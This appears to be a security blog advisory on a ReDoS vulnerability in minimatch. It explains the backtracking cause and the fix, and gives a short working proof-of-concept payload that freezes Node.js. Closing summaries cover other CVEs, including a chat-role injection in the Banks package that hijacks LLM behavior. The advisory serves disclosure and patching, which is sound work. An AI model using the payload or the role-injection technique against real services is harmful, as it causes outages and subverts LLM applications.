Feb 27, 2026·4 min read·177 visits
A ReDoS vulnerability in `minimatch` allows attackers to cause a Denial of Service via nested extended glob patterns (e.g., `*(*(*(a|b)))`). This affects nearly all versions prior to Feb 2026. Update immediately.
Minimatch, the ubiquitous JavaScript glob matcher that likely powers your entire build pipeline, has a nasty habit of choking on its own logic. A specifically crafted 'extglob' pattern can trick the library into generating a Regular Expression with catastrophic backtracking potential. This allows a remote attacker to freeze the Node.js event loop with a payload smaller than a tweet, turning your high-performance application into a very expensive paperweight.
If you write JavaScript, you use minimatch. You might not know it, but you do. It's the engine under the hood of glob, which is under the hood of rimraf, eslint, and pretty much every build tool in existence. Its job is simple: take a shell-style wildcard string (like src/**/*.js) and turn it into a Regular Expression that JavaScript's V8 engine can understand.
But here's the thing about translating logic languages: it's really easy to accidentally create a monster. In CVE-2026-27904, the monster is hiding in 'extglobs'—extended glob patterns like *(pattern) (zero or more) or +(pattern) (one or more).
The vulnerability is a classic case of "it seemed like a good idea at the time." The library allowed users to nest these patterns indefinitely. And when you nest patterns that represent unbounded repetition, you aren't just creating a complex regex; you are creating a mathematical black hole.
To understand why this breaks, we have to look at how minimatch translates these globs. When you provide a pattern like *(a|b), minimatch converts it into a regex equivalent to (a|b)*. That's fine. V8 can handle that while sleeping.
The problem arises when you get recursive. A pattern like *(*(*(a|b))) is translated into a regex structure resembling ((((a|b)*)*)*).
> [!WARNING]
> Catastrophic Backtracking Alert: In a backtracking regex engine, nested quantifiers are deadly. If the engine fails to find a match (e.g., on a string of aaaa... ending in z), it tries to backtrack and rearrange how the inner groups matched the characters.
With three levels of nesting, the complexity is manageable. But the complexity grows exponentially. A 12-byte pattern combined with an 18-byte input string is enough to stall the single-threaded Node.js event loop for over 7 seconds. Add a few more characters, and the sun will explode before your server sends a response.
The fix, implemented in commit 11d0df6 (and others), is a masterclass in pragmatic optimization. The maintainers realized that mathematically, *(*(pattern)) is redundant. It essentially asks for "zero or more of (zero or more of pattern)". That is logically identical to just "zero or more of pattern".
To fix this, they introduced an optimization pass that flattens these nested structures before they ever become regexes. They verify if a parent extglob can "adopt" a child extglob.
Here is the logic in a nutshell:
// Conceptual logic of the fix
if (this.type === '*' && child.type === '*') {
// *(*(a)) becomes *(a)
this.patternList = child.patternList;
}Furthermore, they added a hard stop. A new maxExtglobRecursion limit (defaulting to 2) prevents the parser from going down the rabbit hole. If a pattern nests deeper than that and cannot be flattened, minimatch now simply refuses to treat it as a glob, interpreting the characters literally. It’s the coding equivalent of a parent saying, "Because I said so."
Exploiting this is embarrassingly easy. You don't need heap spraying or ROP chains. You just need an input field that accepts a glob pattern. This could be a file search feature, a .gitignore parser, or a route config.
Here is the Proof of Concept (PoC) that kills the process:
const { minimatch } = require('minimatch');
// The payload: deeply nested, redundant wildcards
const pattern = "*(*(*(a|b)))";
// The trigger: A string that almost matches, but fails at the end
const input = "a".repeat(25) + "z";
console.log("Starting match...");
console.time('death');
// This line effectively freezes the process
minimatch(input, pattern);
console.timeEnd('death');If you run this on a vulnerable version (e.g., v9.0.0), your terminal will hang. If this were a web server, every other request would be queued behind this operation, causing a complete denial of service.
You might be thinking, "Who lets users type raw glob patterns?" You'd be surprised.
minimatch to exclude files.Because Node.js is single-threaded, a ReDoS is not just a slow request—it is a total service outage. The CPU hits 100%, the event loop blocks, and health checks fail. Kubernetes will likely kill and restart the pod, but if the attack is persistent or part of a config file, the service enters a crash loop.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
minimatch isaacs | >= 10.0.0, < 10.2.3 | 10.2.3 |
minimatch isaacs | >= 9.0.0, < 9.0.7 | 9.0.7 |
minimatch isaacs | < 3.1.4 | 3.1.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1333 |
| Attack Vector | Network |
| CVSS Score | 7.5 (High) |
| EPSS Score | 0.0004 |
| Exploit Status | PoC Available |
| Impact | Denial of Service |
The software uses a regular expression that can take an exponential amount of time to evaluate specific inputs.
CVE-2026-107725 is a critical security bypass in Hazelcast where missing authorization checks in the MapPermission class permit unprivileged clients to issue queries containing aggregators or projections. This architectural oversight allows attackers to run arbitrary code on the cluster servers under the privileges of the active Hazelcast process.
A stored Cross-Site Scripting (XSS) vulnerability was identified in Indico, an open-source event management system developed at CERN, prior to version 3.3.13. The vulnerability stems from weak URL validation in custom link fields and lack of HTML sanitization during Marshmallow serialization of event notes. This allows authenticated attackers with event modification privileges to inject malicious payloads that execute in the browser of users viewing the event pages or collaborating on notes.
A technical analysis of CVE-2026-107397, a stored Cross-Site Scripting (XSS) vulnerability in Indico's collaborative notes editor and custom link generation fields. Prior to version 3.3.13, Marshmallow serialization schemas omitted HTML sanitization during conflict resolution, and form validators failed to enforce strict URI schemes, enabling authenticated low-privilege attackers to execute arbitrary JavaScript.
An authorization bypass vulnerability exists in the legacy session export API of Indico, an open-source event management system developed at CERN. Due to a missing object-level access check, authenticated users can bypass configuration-level restrictions to extract private session metadata (including session titles, descriptions, and list of conveners) from events that they are otherwise authorized to view.
An incomplete Server-Side Request Forgery (SSRF) validation check in Indico prior to version 3.3.13 allows authenticated event organizers to bypass outbound network restrictions. By utilizing backslash characters within crafted URLs, attackers can exploit a parser differential between the application's validator and the downstream HTTP client library to access internal network resources.
CVE-2026-107717 represents a critical prompt boundary bypass and chat role injection vulnerability in the Banks Python package (versions prior to 2.5.0). The library parses generated template outputs line-by-line, attempting to validate each segment as a JSON-serialized ChatMessage object without validating the source boundaries of the text. If an application integrates user input directly into a prompt template, a remote, unauthenticated attacker can supply multi-line inputs with structured JSON payloads. This input is then parsed as high-privilege system instructions or tool execution responses, completely hijacking downstream Large Language Model behavior.